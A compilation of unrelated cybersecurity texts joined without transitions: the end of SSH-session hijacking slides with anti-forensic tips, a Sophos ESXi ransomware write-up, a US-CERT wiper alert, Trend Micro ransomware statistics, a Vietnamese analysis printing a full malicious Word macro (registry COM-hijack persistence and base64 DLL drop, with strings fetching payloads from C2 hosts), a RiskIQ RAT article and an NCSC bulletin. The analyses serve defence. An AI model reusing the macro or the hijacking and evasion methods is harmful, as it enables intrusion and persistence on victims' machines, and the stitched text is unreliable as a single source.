EIP to 0x0804d679 - Continuing execution. - Waiting for breakpoint... - Returned from our stub! Woot! - Restoring 92 bytes of old code that we overwrote at 0x0804d679 - Clearing break - Resetting EIP ## Jack yourself? - Test your plan of attack first - Write your hijack code in C, and compile it into the application - Hook it up to some secret keystroke, or signal or whatever, so you know that it's possible - Base your 'shellcode' on what the compiler assembled - Implement hijacking for a binary with debug symbols, much easier ## Jack yourself? (II) - Build a list of symbols you need to find - Decide how you're going to find them - Write cunning code to do so - Jack your friends for fun and profit - Optional: package nicely with a spinny-round-o-vision OpenGL GUI for the kiddies and Security Consultants ## Bits and Pieces - Think about your SCP-push backups, your CVS, your rsync. SSH gets around. - Does the jacked connection show up in the list? - What happens when they log out? - Should work on any OpenSSH 3.x ish - Current code known to work on Debian Sarge, RHEL3, RH9 - SuSE's GCC is nuts. I'm amazed it runs at all. ## Tangent: Anti-forensic Technique - Moving fast, not stopping to rootkit everything assumes you're taking precautions - Go and see the Grugq's talk. Really. It has FISTing. ## A brief summary - How we apply anti-forensic technique in the SSH-Jacker ## Anti-Forensic Technique - No code on disk == no tripwire, no encase - Everything in memory only - Use local tools/interpreters only - All they'll know is that you did something, not what - Write your tools on the spot as you need them - No new network connections for an IDS to spot - Reuse your existing connection - Hide in plain sight - Encrypt everything so packet logs are useless ## How we implement AF principles - Some bits are good already: - We use general purpose tools: - Python - GDB - SSH is encrypted to start with - We're sneaking down an existing connection ## How we fail to implement AF - Some bits not so good - Python code lying around on disk for people to read - New connection from the SSH client to us to give us our shell... - ...which is also in the clear - We need to try harder - SSH port forward incoming shell back down encrypted session ## Loading Python directly into memory - Run a Python interpreter, tell it to read Python on stdin, and run it - Compile Python bytecode locally, compress it, base64 encode for 7bit cleanliness - Generate stub that will unpack and run the above - Send both across your shell ## MAFL-Load - Doesn't sound easy enough? How about a script? - mafl-load script.py [args] - Does all the previous, in one easy step - I hack in Screen, which rocks even more - Ctrl-A:!!!!mafl-load ssh-jack pid - Injects output of mafl-load into my remote shell, and runs it. Ahh, the Joy of Unix. - You can almost forget that you're doing it ## Improvements, Future Direction - Runtime assembler with Mosdef or similar - Pure Python debugger, remove GDB dependency - Do it to MSRDP, or Citrix ICA - All manner of domain-specific sneakiness; a programmatic debugging toolkit is a useful thing to have in your box of tricks ## Is this Theo de Raadt's Fault? - Hell no, it's a feature! - SSH Protocol spec says multiple shells are fine - Server-to-client shells would be... - ...except they took care of that - And unsolicited server-to-client port-forwarding - Other SSH client/server implementations might be different. - And anyway, OpenSSH is cool. Props to them. ## Mitigation Technique - Uhh, don't get rooted - Patch kernel to restrict ptrace() to root - Ensure that any SSH trusts you do have are restrictive - command="stuff",no-port-forwarding,permit-open="host:port" - Give debuggers the whole Steve Gibson Raw-Sockets-Are-Evil treatment! ## Why You Should(n't) Care - Nothing you didn't - even if you repressed it - already know - If you get rooted, you're screwed. But you knew that. - Rich desktops make attacking admins to get to servers a good route - This technique is useful against any client, but protocols with VC arch are the best – MSRDP, Citrix ICA... ## Hackers Made Me Do It - Ruxcon (Sydney) 2k3 and 4 inspiration - Grugq: antiforensic shaolin master - Shaun Clowes: the holy-crap-wtf-insane Shiva ELF encryptor - Silvio Cesare: linux vx godfather - Mad greetz to: - NZISIG, NZ2600, SLi, and the rest of what passes for a Scene in NZ. - Gnuspice for giving me a copy of Cheswick and Bellovin many years ago. ## Q&A - Shred me and my lameitude - Spam me: [email protected]
# Python Ransomware Script Targets ESXi Server for Encryption A recently-concluded investigation into a ransomware attack revealed that the attackers executed a custom Python script on the target’s virtual machine hypervisor to encrypt all the virtual disks, taking the organization’s VMs offline. In what was one of the quickest attacks Sophos has investigated, from the time of the initial compromise until the deployment of the ransomware script, the attackers only spent just over three hours on the target’s network before encrypting the virtual disks in a VMware ESXi server. The Python script embeds the text of the ransom note. The attackers initially accessed their foothold by logging in to a TeamViewer account (one which didn’t have multi-factor authentication set up), running in the background on a computer that belongs to a user with Domain Administrator credentials in the target’s network. The attackers logged on at 30 minutes past midnight in the target organization’s time zone, and ten minutes later downloaded and ran a tool called Advanced IP Scanner to identify targets on the network. Just before 2 am, the attackers downloaded an SSH client called Bitvise and used it to log into a VMware ESXi server they identified using Advanced IP Scanner. ESXi servers have a built-in SSH service called the ESXi Shell that administrators can enable, but is normally disabled by default. This organization’s IT staff was accustomed to using the ESXi Shell to manage the server and had enabled and disabled the shell multiple times in the month prior to the attack. However, the last time they enabled the shell, they failed to disable it afterwards. The criminals took advantage of this fortuitous situation when they found the shell was active. ## Python Ransomware Three hours after the attackers scanned the network, they used their credentials to log into the ESXi Shell and copied a file named fcker.py to the ESXi datastore, which houses the virtual disk images used by the VMs that run on the hypervisor. The Python script uses the vim-cmd command functions of the ESXi Shell to produce a list of the names of all virtual machines installed on the server, then shuts them all down. One by one, the attackers executed the Python script, passing the path to datastore disk volumes as an argument to the script. Each individual volume contained the virtual disk and VM settings files for multiple virtual machines. Thanks to some solid forensics work, the Rapid Response team recovered a copy of the Python script, even though the attackers appeared to have overwritten it with other data before deleting the file. Only 6kb long, the small size of the script belies its abilities. The script contains variables that the attacker can configure with multiple encryption keys, email addresses, and where they can customize the file suffix that gets appended to encrypted files. The script embeds the file suffix it appends to encrypted files (ext) and email addresses (mail, mail2) to be used to contact the attacker for payment of the ransom as variables. Initially, the script “walks” the filesystem of a datastore and creates a directory map of the drive, and inventories the names of every virtual machine on the hypervisor, writing them to a file called vms.txt. It then executes the ESXi Shell command `vim-cmd vmsvc/power.off`, one time for each VM, passing the VM names to the command as a variable, one at a time. Only when the VMs have powered off will the script begin encrypting the datastore volumes. Using a single instruction for each file it encrypts, the script invokes the open-source tool `openssl` to encrypt the files with the following command: ``` openssl rsautil -encrypt -inkey pubkey.txt -pubin -out [filename].txt ``` The script then overwrites the contents of the original file with just the word "fuck" then deletes the original file. Finally, it deletes the files that contain the directory listings, the names of the VMs, and itself by overwriting those files before deleting them. ## Encryption Keys Generated On-the-Fly One thing that we noticed while walking through the code was the presence of multiple hardcoded encryption keys, as well as a routine for generating even more encryption key pairs. Normally, an attacker would only need to embed the “public key” that the attacker generated on their own machine and would be used to encrypt files on the targeted computer(s). But this ransomware appears to create a unique key every time it is run. Apparently, every time the malware is executed – and it appears the attackers executed the script once for each ESXi datastore they wanted to encrypt – the ransomware generates a unique key pair that will be used for encrypting files during that particular execution. In the case of the attack we investigated, there were three datastores the attackers targeted with individual executions of the script, so the script created three unique key pairs, one for each datastore. The script has no ability to transmit these keys anywhere, and there’s no way for the attacker to predict what the keys will be, so the script has to leave behind a copy of the secret key (the key the attacker would need in order to decrypt the files) on the filesystem of the targeted computer. But it would be a gigantic mistake to just leave that key lying around (whoever possesses the secret key could, theoretically, use it to decrypt everything without having to pay a ransom), so the script writes out a copy of that secret key, and then encrypts the secret key using the embedded, hardcoded public key. The script runs a routine that lists all the files in the path that’s provided to the script during execution. For each file, the script generates a unique, 32-byte random code it calls the aeskey, and then encrypts the file using the aeskey as a salt into the `/tmp` path. Finally, it prepends the aeskey value to the encrypted file and appends a new file suffix to the name, overwrites the contents of the original file with the word "fuck," then deletes the original file, and moves the encrypted version from `/tmp` to the datastore location where the original file was stored. ## Hypervisors Are Valuable Targets Malware that runs under a Linux-like operating system such as ESXi is still relatively uncommon, but it is even less common for IT staff to install endpoint protection on servers like these. Hypervisors in general are often quite attractive targets for this kind of attack, since the VMs they host may run business-critical services or functions. ESXi management tools can enable or disable the ESXi Shell either from within the tool or locally on the console connected to the server. The shell defaults to “Stopped.” Administrators who operate ESXi or other hypervisors on their networks should follow security best practices, avoiding password reuse, and using complex, difficult to brute-force passwords of adequate length. Wherever possible, enable the use of multi-factor authentication and enforce the use of MFA for accounts with high permissions, such as domain administrators. In the case of ESXi, use of the ESXi Shell is something that can be toggled on or off from either a physical console at the machine itself or through the normal management tools provided by VMware. Administrators should only allow the Shell to be active during use by staff and should disable it as soon as maintenance (such as the installation of patches) is complete. VMware has also published a list of best practices for administrators of their ESXi hypervisors on how to secure them and limit the attack surface on the hypervisor itself. Python scripts of this type are detected by Sophos endpoint products as Troj/Ransom-GJR.
# Alert (TA14-353A) ## Targeted Destructive Malware **Original release date:** December 19, 2014 ### Systems Affected - Microsoft Windows ### Overview US-CERT was recently notified by a trusted third party of cyber threat actors using a Server Message Block (SMB) Worm Tool to conduct cyber exploitation activities targeting a major entertainment company. This SMB Worm Tool is equipped with a Listening Implant, Lightweight Backdoor, Proxy Tool, Destructive Hard Drive Tool, and Destructive Target Cleaning Tool. **SMB Worm Tool:** This worm uses a brute force authentication attack to propagate via Windows SMB shares. It connects home every five minutes to send log data back to command and control (C2) infrastructure if it has successfully spread to other Windows hosts via SMB port 445. The tool also accepts new scan tasking when it connects to C2. There are two main threads: the first thread calls home and sends back logs (a list of successful SMB exploitations), and the second thread attempts to guess passwords for SMB connections. If the password is correctly guessed, a file share is established and a file is copied and run on the newly-infected host. **Listening Implant:** During installation of this tool, a portion of the binaries is decrypted using AES, with a key derived from the phrase "National Football League." This implant listens for connections on TCP port 195 (for "sensvc.exe" and "msensvc.exe") and TCP port 444 (for "netcfg.dll"). Each message sent to and from this implant is preceded with its length, then XOR encoded with the byte 0x1F. Upon initial connection, the victim sends the string, "HTTP/1.1 GET /dns?\x00." The controller then responds with the string "200 www.yahoo.com!\x00" (for "sensvc.exe" and "msensvc.exe") or with the string "RESPONSE 200 OK!!" (for "netcfg.dll"). The controller sends the byte "!" (0x21) to end the network connection. **Lightweight Backdoor:** This is a backdoor listener designed as a service DLL. It includes functionality such as file transfer, system survey, process manipulation, file time matching, and proxy capability. The listener can also perform arbitrary code execution and execute commands on the command line. This tool includes functionality to open ports in a victim host's firewall and take advantage of Universal Plug and Play (UPNP) mechanisms to discover routers and gateway devices, and add port mappings, allowing inbound connections to victim hosts on Network Address Translated (NAT) private networks. There are no callback domains associated with this malware since connections are inbound only on a specified port number. **Proxy Tool:** Implants in this malware family are typically loaded via a dropper installed as a service, then configured to listen on TCP port 443. The implant may have an associated configuration file which can contain a configurable port. This proxy tool has basic backdoor functionality, including the ability to fingerprint the victim machine, run remote commands, perform directory listings, perform process listings, and transfer files. **Destructive Hard Drive Tool:** This tool is a tailored hard-drive wiping tool intended to destroy data past the point of recovery and to complicate the victim machine’s recovery. If the CNE operator has administrator-level privileges on the host, the program will overwrite portions of up to the first four physical drives attached and overwrite the master boot record (MBR) with a program designed to cause further damage if the hard drive is rebooted. This results in the victim machine being non-operational with irrecoverable data. If the actor has user-level access, specific files may be deleted and become practically irrecoverable, but the victim machine would remain usable. **Destructive Target Cleaning Tool:** This tool renders victim machines inoperable by overwriting the Master Boot Record. The tool is dropped and installed by another executable and consists of three parts: an executable and a DLL which contain the destructive components, and an encoded command file that contains the actual destruction commands to be executed. **Network Propagation Wiper:** The malware can propagate throughout the target network via built-in Windows shares. Based on the username/password provided in the configuration file and the hostname/IP address of target systems, the malware will access remote network shares to upload a copy of the wiper and begin the wiping process on these remote systems. The malware uses several methods to access shares on the remote systems to begin wiping files. ### Impact Due to the highly destructive functionality of this malware, an organization infected could experience operational impacts including loss of intellectual property and disruption of critical systems. ### Solution Users and administrators are recommended to take the following preventive measures to protect their computer networks: - Use and maintain anti-virus software. - Keep your operating system and application software up-to-date. - Review Security Tip Handling Destructive Malware #ST13-003 and evaluate their capabilities encompassing planning, preparation, detection, and response for such an event. - Review Recommended Practices for Control Systems, and Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies. ### Indicators of Compromise (IOCs) **MD5s: SMB Worm Tool:** - MD5: f6f48551d7723d87daeef2e840ae008f - MD5: 194ae075bf53aa4c83e175d4fa1b9d89 **Lightweight Backdoor:** - MD5: f57e6156907dc0f6f4c9e2c5a792df48 - MD5: 838e57492f632da79dcd5aa47b23f8a9 **Proxy Tool:** - MD5: 734740b16053ccc555686814a93dfbeb - MD5: 3b9da603992d8001c1322474aac25f87 **Destructive Hard Drive Tool:** - MD5: 8dec36d7f5e6cbd5e06775771351c54e ### Recommended Security Practices - Implement the indicators of compromise within your systems for detection and mitigation purposes. - Encourage users to transfer critical files to network shares for central backup. - Execute daily backups of all critical systems. - Periodically execute an “offline” backup of critical files to removable media. - Establish emergency communications plans should network resources become unavailable. - Isolate any critical networks from business systems. - Ensure antivirus is up to date. - Disable credential caching for all desktop devices. - Disable AutoRun and Autoplay for any removable media device. - Prevent or limit the use of all removable media devices on systems. - Consider restricting account privileges. - Ensure that password policy rules are enforced and Admin password values are changed periodically. - Consider prohibiting hosts within the production environment or DMZ from sharing an Active Directory enterprise with hosts on other networks. - Monitor logs and maintain a centralized logging solution. - Ensure that all network operating systems, web browsers, and other related network hardware and software remain updated with all current patches and fixes. ### Strategic Mitigations - Organizations should review Security Tip Handling Destructive Malware #ST13-003. - Always keep your patch levels up to date. - Build host systems with only essential applications and components. - Implement network segmentation through VLANs. - Consider the deployment of Software Restriction Policy set to only allow the execution of approved software. - Recommend the whitelisting of legitimate executable directories. - Consider the use of two-factor authentication methods for accessing privileged accounts. - Deny direct Internet access, except through the use of proxies for Enterprise servers and workstations. - Implement a Secure Socket Layer (SSL) inspection capability. - Isolate network services by utilizing secure multi-tenant virtualization technology. - Minimize network exposure for all control system devices. - When remote access is required, use secure methods such as Virtual Private Networks (VPNs). ### References N/A ### Revisions December 19, 2014: Initial Release
# LockBit, Conti, and BlackCat Lead Pack Amid Rise in Active RaaS and Extortion Groups ## Ransomware in Q1 2022 This data sheet pertains to the ransomware threat landscape of the first quarter of 2022. Sourced from ransomware-as-a-service (RaaS) and extortion groups’ leak sites, Trend Micro’s open-source intelligence (OSINT) research, and the Trend Micro™ Smart Protection Network™, the data presented here details the activity of ransomware in general and the ransomware families that dominated the landscape in particular during the period. ### Ransomware Threats Detected | Month | Email Threats | URL Threats | File Threats | Total Threats | |------------|---------------|-------------|--------------|---------------| | Jan 2022 | 306,754 | 282,534 | 195,376 | 784,664 | | Feb 2022 | 697,369 | 233,301 | 253,196 | 1,183,866 | | Mar 2022 | 1,853,566 | 389,761 | 228,046 | 2,471,373 | | **Total** | | | | **4,439,903** | ### Active RaaS and Extortion Groups | Quarter | Active RaaS Groups | Victim Organizations | |------------|---------------------|----------------------| | Q1 2021 | 19 | 476 | | Q1 2022 | 31 | 615 | ### Top 10 Industries Affected | Industry | Victim Count | |------------------------|--------------| | Finance | 57 | | IT | 53 | | Manufacturing | 45 | | Professional Services | 41 | | Construction | 39 | | Materials | 38 | | Healthcare | 31 | | Transportation | 30 | | Academe | 28 | | Automobile | 27 | ### Ransomware File Detections by Business Segment | Month | Enterprise | Consumer | SMB | |------------|------------|----------|------| | Jan 2022 | 15,889 | 3,834 | 2,699| | Feb 2022 | 16,019 | 3,340 | 2,919| | Mar 2022 | 14,314 | 3,522 | 1,540| ### Top 10 Countries Affected | Country | Victim Count | |--------------|--------------| | US | 243 | | UK | 43 | | Italy | 37 | | Germany | 31 | | Canada | 24 | | France | 24 | | Spain | 17 | | Brazil | 13 | | Switzerland | 11 | | Australia | 10 | ### Top 3 Ransomware Families | Ransomware Family | Victim Count | |-------------------|--------------| | LockBit | 220 | | Conti | 117 | | BlackCat | 59 | ### Distribution by Organization Size | Organization Size | LockBit | Conti | BlackCat | |-------------------|---------|-------|----------| | Small (1-200) | 144 | 34 | 34 | | Medium (201-1000) | 45 | 49 | 15 | | Large (>1000) | 23 | 34 | 10 | | Unknown | 8 | 0 | 0 | | **Total** | 220 | 117 | 59 | ### Top 10 Ransomware Families by Detections | Ransomware Family | Victim Count | |-------------------|--------------| | WannaCry | 12,110 | | Locky | 3,714 | | Cerber | 1,510 | | GandCrab | 1,398 | | LockBit | 919 | | Maze | 874 | | StopCrypt | 768 | | DarkSide | 767 | | MountLocker | 724 | | Conti | 655 | ### Top 3 Industries by Detections | Month | Manufacturing | Finance | Government | |------------|---------------|---------|------------| | Jan 2022 | 1,294 | 1,171 | 1,048 | | Feb 2022 | 1,216 | 999 | 868 | | Mar 2022 | 1,298 | 1,075 | 1,298 | ### Distribution by Industry of LockBit's Successful Attacks | Industry | Victim Count | |------------------------|--------------| | Finance | 28 | | Construction | 21 | | Manufacturing | 21 | | IT | 16 | | Professional Services | 16 | | Transportation | 11 | | Academe | 10 | | Hospitality | 10 | | Real Estate | 10 | | Legal Services | 9 | ### Distribution by Region of LockBit's Successful Attacks | Region | Victim Count | |----------------------|--------------| | Europe | 89 | | North America | 75 | | Asia-Pacific | 24 | | Latin America | 16 | | Middle East | 10 | | Africa | 5 | | Unknown | 1 | ### Distribution by Country of LockBit's Successful Attacks | Country or Region | Victim Count | |----------------------|--------------| | US | 69 | | Italy | 22 | | France | 14 | | UK | 13 | | Germany | 8 | | Spain | 8 | | Canada | 6 | | India | 6 | | Mexico | 5 | | Brazil | 4 | ### Distribution by Industry of Conti's Successful Attacks | Industry | Victim Count | |------------------------|--------------| | Manufacturing | 15 | | Materials | 12 | | Professional Services | 12 | | Construction | 9 | | Automobile | 8 | | Finance | 8 | | IT | 8 | | Foods and Staples | 7 | | Media and Entertainment | 6 | | Retail | 6 | ### Distribution by Region of Conti's Successful Attacks | Region | Victim Count | |----------------------|--------------| | North America | 58 | | Europe | 49 | | Asia-Pacific | 7 | | Africa | 1 | | Latin America | 1 | | Middle East | 1 | ### Distribution by Country of Conti's Successful Attacks | Country | Victim Count | |----------------------|--------------| | US | 52 | | Germany | 16 | | UK | 10 | | Italy | 7 | | Canada | 6 | | Australia | 3 | | Netherlands | 3 | | Sweden | 3 | | Switzerland | 3 | | Austria | 2 | ### Distribution by Industry of BlackCat's Successful Attacks | Industry | Victim Count | |------------------------|--------------| | Professional Services | 8 | | Finance | 6 | | Legal Services | 6 | | Apparel and Fashion | 5 | | Materials | 5 | | IT | 4 | | Construction | 3 | | Energy and Utilities | 3 | | Healthcare | 3 | | Manufacturing | 3 | ### Distribution by Region of BlackCat's Successful Attacks | Region | Victim Count | |----------------------|--------------| | North America | 30 | | Europe | 15 | | Asia-Pacific | 11 | | Latin America | 2 | | Middle East | 1 | ### Distribution by Country of BlackCat's Successful Attacks | Country or Region | Victim Count | |----------------------|--------------| | US | 27 | | Italy | 4 | | Australia | 3 | | Canada | 3 | | China | 3 | | France | 3 | | Hong Kong | 3 | | Spain | 3 | | Bahamas | 1 | | Brazil | 1 | | Hungary | 1 | | India | 1 | | Indonesia | 1 |
# Thưởng tết Vô tình nhặt được cái sample: Kĩ thuật sử dụng trong tài liệu này có vẻ liên quan đến OceanLotus (aka APT-32): Thông tin metadata của sample: Dạo vòng vòng trong sample để thu thập thêm thông tin: 😉 Toàn bộ VBA code của sample: ```vba ' module: ThisDocument Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Private Sub Document_Open() On Error Resume Next Dim sAppData As String sAppData = Environ("APPDATA") sAppData = sAppData & "\main_background.png" Dim sAppDataNew As String sAppDataNew = Chr(34) & sAppData & Chr(34) Dim myWS As Object, strPath Set myWS = CreateObject("WScript.Shell") Set fsoCheck = VBA.CreateObject("Scripting.FileSystemObject") Dim iCheck As Boolean iCheck = False #If Win64 Then #Else If (fsoCheck.FileExists("C:\Windows\SysWOW64\cmd.exe") = True) Then iCheck = True Else iCheck = False End If #End If If iCheck = True Then Dim wsh As Object Set wsh = VBA.CreateObject("WScript.Shell") Dim waitOnReturn As Boolean: waitOnReturn = True Dim windowStyle As Integer: windowStyle = 0 Else If RegKeyExists("HKEY_CURRENT_USER\Software\Classes\CLSID\") = False Then myWS.RegWrite "HKEY_CURRENT_USER\Software\Classes\CLSID\", "", "REG_SZ" Else End If If RegKeyExists("HKEY_CURRENT_USER\Software\Classes\CLSID\{2DEA658F-54C1-4227-AF9B-260AB5FC3543}\InprocServer32\") = False Then If RegKeyExists("HKEY_CURRENT_USER\Software\Classes\CLSID\{2DEA658F-54C1-4227-AF9B-260AB5FC3543}\") = False Then myWS.RegWrite "HKEY_CURRENT_USER\Software\Classes\CLSID\{2DEA658F-54C1-4227-AF9B-260AB5FC3543}\", "", "REG_SZ" Else End If Else End If End If Dim b As String Dim a As String Dim tableNew As Table Set tableNew = ActiveDocument.Tables(1) End Sub Function RegKeyExists(i_RegKey As String) As Boolean Dim myWS As Object On Error GoTo ErrorHandler Set myWS = CreateObject("WScript.Shell") myWS.RegRead i_RegKey RegKeyExists = True Exit Function ErrorHandler: 'key was not found RegKeyExists = False End Function Function Base64Decode(ByVal vCode, ByVal sPath) Dim oXML, oNode Set oXML = CreateObject("Msxml2.DOMDocument.3.0") Set oNode = oXML.CreateElement("base64") oNode.dataType = "bin.base64" oNode.Text = vCode Set objStream = CreateObject("ADODB.Stream") objStream.Type = 1 objStream.Open objStream.Write oNode.nodeTypedValue objStream.SaveToFile sPath, 2 Set objStream = Nothing Set oNode = Nothing Set oXML = Nothing End Function ``` Cơ bản VBA code này làm nhiệm vụ: - Cấu thành đường dẫn cho tập tin - Kiểm tra môi trường hiện hành. Nếu là 64-bit thì sẽ thực thi lệnh: ```vba wsh.Run "cmd.exe /S /C reg add HKEY_CURRENT_USER\Software\Classes\CLSID\{2DEA658F-54C1-4227-AF9B-260AB5FC3543}\InprocServer32 /ve /t REG_SZ /d " & sAppDataNew & " /f /reg:64", windowStyle, waitOnReturn ``` - Ngược lại, thực thi lần lượt: ```vba myWS.RegWrite "HKEY_CURRENT_USER\Software\Classes\CLSID\{2DEA658F-54C1-4227-AF9B-260AB5FC3543}\", "", "REG_SZ" myWS.RegWrite "HKEY_CURRENT_USER\Software\Classes\CLSID\{2DEA658F-54C1-4227-AF9B-260AB5FC3543}\InprocServer32\", sAppDataNew, "REG_SZ" ``` Dựa vào từ khóa InprocServer32, ta có thể biết được file `%APPDATA%\main_background.png` sẽ là một tập tin dll. Sau khi thiết lập thành công Registry, tiến hành decode base64data và ghi ra file. Dựa vào biến để drop ra dll x64 hay dll x32: ```vba Set tableNew = ActiveDocument.Tables(1) If (iCheck = True) Then a = tableNew.Cell(1, 1).Range.Text 'lấy base64data tại hàng 1 cột 1 (32bit-dll) a = Left(a, Len(a) - 2) b = Base64Decode(a, sAppData) Else a = tableNew.Cell(1, 2).Range.Text 'lấy base64data tại hàng 1 cột 2 (64-bit dll) a = Left(a, Len(a) - 2) b = Base64Decode(a, sAppData) End If ``` Căn cứ vào thông tin có được tiến hành decode để lấy các binary. Có thể debug hoặc là dùng Cyberchef: - 32-bit dll: - 64-bit dll: Tôi thấy attacker có vẻ hơi nhầm trong quá trình decode và ghi ra file. Nếu là OS 64-bit thì lại drop ra 32-bit dll. Còn ngược lại, với OS 32-bit lại drop ra 64-bit dll 😕 Kiểm tra sơ bộ các dll: - Với 32-bit dll: ``` 000000011530 000010013730 0 XA:\Code\Macro_NB2\Request\PostData32.exe -u hxxps://syn[.]servebbs[.]com/id32[.]png -t 300000 ``` - Với 64-bit dll: ``` 0000000014243 0000000141D0 0 YA:\Code\Macro_NB2\Request\PostData64.exe -u hxxps://syn[.]servebbs[.]com/id64.png -t 300000 ``` Thử load file về nhưng C2 đã dẹo: **IOCs:** - Doc sample: `9f59c397d1346f2707fc7b54fe6cb4622770accf94eb4394514d2bf167d65007` - Dropped file (based on architecture): - 32-bit dll: `ee1e3956df9f69ae3c87a53075881f65` - 64-bit dll: `c74a24dea88999797aaceeecd63efaff` **Some C2:** - hxxps://word[.]webhop[.]info (109[.]248[.]149[.]96) - hxxps://syn[.]servebbs[.]com (194[.]9[.]177[.]13)
# New htpRAT Gives Complete Remote Control Capabilities to Chinese Cyber Threat Actors **By Yonathan Klijnsma** **October 26, 2017** HtpRAT, a newly discovered Remote Access Trojan (RAT), extends the capabilities of traditional RATs by providing complete remote execution of custom commands and programming. Uncovered by RiskIQ cyber investigators, htpRAT is the newest weapon in Chinese cyberattackers' campaign against the Association of Southeast Asian Nations (ASEAN). Most RATs can log keystrokes, take screenshots, record audio and video from a webcam or computer microphone, install and uninstall programs, and manage files. They support a fixed set of commands operators can execute with different command IDs—such as ‘file download’ or ‘file upload’—and must be completely rebuilt to have different functionality. HtpRAT, on the other hand, serves as a conduit for operators to do their job with greater precision and effect. On the Command and Control (C2) server side, cyber threat actors can build new functionality in commands, which can be sent to the malware to execute. This capability makes htpRAT a small, agile, and incredibly dynamic piece of malware. Operators can change functionality, such as searching for a different file on the victim network, simply by wrapping commands. ASEAN countries endure complicated and often contentious relations with one another, especially over China's economic influence and its claim over disputed territory in the South China Sea. As a way to spy on and disrupt rivals, China has sponsored several documented cyberattacks against its neighbors. The use of htpRAT elevates an attacker’s capabilities to a new level. Unfortunately, most ASEAN countries have notoriously underdeveloped cybersecurity practices and levels of awareness, both in the public and private sectors, making government and business organizations easy targets for hackers—especially those from highly skilled and experienced attackers commissioned by the Chinese government. A 2015 survey by ESET Asia found that 78% of internet users in Southeast Asia had not received any formal education on cybersecurity. Another study revealed that Asia-Pacific companies spent 47% less on information security than North American firms in 2015. As a result, many of these countries are already under siege. In a cybercrime operation led by Interpol, nearly 9,000 C2 servers and hundreds of compromised websites were identified across the ASEAN region for carrying out cyberattacks on local organizations. Another study revealed that in Myanmar, Thailand, and Vietnam, more than 20% of computers running Windows were targeted by cyberattacks, compared with the global average of 9%. Laos, which is ranked 77th in the world in its response to online threats in the International Telecommunication Union Cybersecurity Index, is also vulnerable. On November 8, 2016, RiskIQ discovered that a non-disclosed Laotian entity was spear-phished by what seems to be a Chinese government threat group. A clever email attempted to get victims to download a nefarious RAT that includes a backdoor for administrative control over the target computer. Spear phishing has, of course, become a favorite vector for cyber threat actors who try to fool people within specific organizations into giving up sensitive information by clicking on malicious links or downloading malicious files with fake emails purporting to be from someone the victim may know. Typically, they do this by spoofing an email address and mimicking the language, behaviors, and processes used in the day-to-day operations of the organization. In this case, the malicious file encourages the recipient, in both Lao and English, to click a link to "Enable Content," with an added image showing how to enable macros in the document. The message roughly translates to "You can click 'Enable Content' to (see/change) the data." Once the machine is infected, we noticed something remarkable. Chinese state-sponsored hackers are known for old, reliable tooling (PlugX malware is one example), but htpRAT enables cyber threat actors to create new commands from the C2 server side which can be sent to the malware on the infected host to execute. ## Connections to Other Attacks Hackers associated with China like to employ the same malware over and over, which is part of what makes htpRAT so unique. Older samples connected to the C2 domain used in the htpRAT campaign link to a variety of PlugX malware samples and Hacking Team exploit activity. One especially interesting connection is a piece of malware called ‘MyHNServer,’ which is a packaged PlugX payload linked to another piece of malware called ‘MyCL’ via its C2 server, which has been widely used in other attacks in Vietnam. Looking at the registration information for the C2 domain, we found a link to a more recent attack against the Vietnamese government. The domain is registered to a person with the same email address that was also used to register a domain imitating an official military domain in Vietnam. These findings and others reveal a significant escalation in state-sponsored cyber warfare and could become standard fare for advanced cybercriminal attacks on businesses and organizations around the world. If effectively used, the new tools could make detection more difficult and could help attackers move beyond the theft of data and secrets to more data or system manipulation or other kinds of sabotage.
# Week 7: Supposed Order Confirmation Delivers Malware and New Variants in Fake Extortion Emails 22.02.2022 - Last week, the NCSC received a persistently high number of reports. Hackers are attempting to distribute remote access malware by means of bogus order notifications. In addition, there has been an increase in the spread of fake extortion emails being sent in the name of prosecution authorities, and they are now written in German as well. ## Bogus Order Confirmations Contain Remote Access Malware The way people shop has changed since 2019, with a shift towards online shopping. Fraudsters are taking advantage of this trend by sending bogus parcel notifications. In most cases, the emails sent involve credit card phishing or ask the recipient to purchase paysafecards and provide the codes. A suspicious email was forwarded to the NCSC last week, and an analysis of it revealed a new modus operandi: The email contained a notification that an order had been received and that it was now being processed. Intentionally, the fraudsters did not include any references to any seller or items purchased; only a meaningless order number was listed. The attachment is an HTML file with a cryptic name. When this file is executed, the download of an additional ISO file must be permitted. This is when all alarm bells should be ringing, at the very latest. ISO files are treated by computers like executable CDs and DVDs, and often contain installation media for games or office programmes, for example. When the HTML file is opened, information about downloading an ISO file is displayed. In this case, the program contained malware called AsyncRAT. RAT stands for "remote access tool", which allows an attacker to access the infected computer remotely. Remote access to the computer gives an attacker the opportunity to steal data stored on it and also to upload and install other malware in order to be able to intercept passwords when they are entered. - Be wary of all unsolicited email notifications you receive. - Be especially suspicious if you are asked to open or download a file. - Never allow your computer to execute files obtained in this way. - Report such cyber incidents to the NCSC and, if possible, send us the email in question. ## Fake Extortion Emails in the Name of Various Police Authorities In recent weeks, thousands of fake extortion emails written in French in the name of almost a dozen different law enforcement agencies were found in the email inboxes and spam folders of Swiss citizens. In France, this form of fraud has been known for years. At the end of last year, the fraudsters began to focus on the French-speaking part of Switzerland and now more and more emails of this type are appearing in Ticino (with Italian authority logos) and in German-speaking Switzerland (with German authority logos). The emails make drastic accusations against the recipients in the name of randomly composed prosecution authorities. The aim is to get the recipients to reply to the email address mentioned in the letter. If someone contacts the fraudsters, they promise to drop the alleged "accusations" against payment of a high four-digit sum of money. However, this is not the end of the story for people who do pay the amount requested. In these cases, the fraudsters keep coming back with new demands for money until the victim finally realizes the fraud and stops paying. The resulting loss can be very considerable. Since the email addresses used by the fraudsters are crucial for communicating with the victims and sending such messages en masse, the NCSC reports the email addresses used by the attackers to the corresponding email providers. Currently, these are mostly student email accounts at various universities. In some cases, the NCSC's rapid intervention stopped further emails from being sent, thus averting potential loss. - Do not allow yourself to be put under pressure and do not react to such threats. - Ignore such messages and mark them as spam.
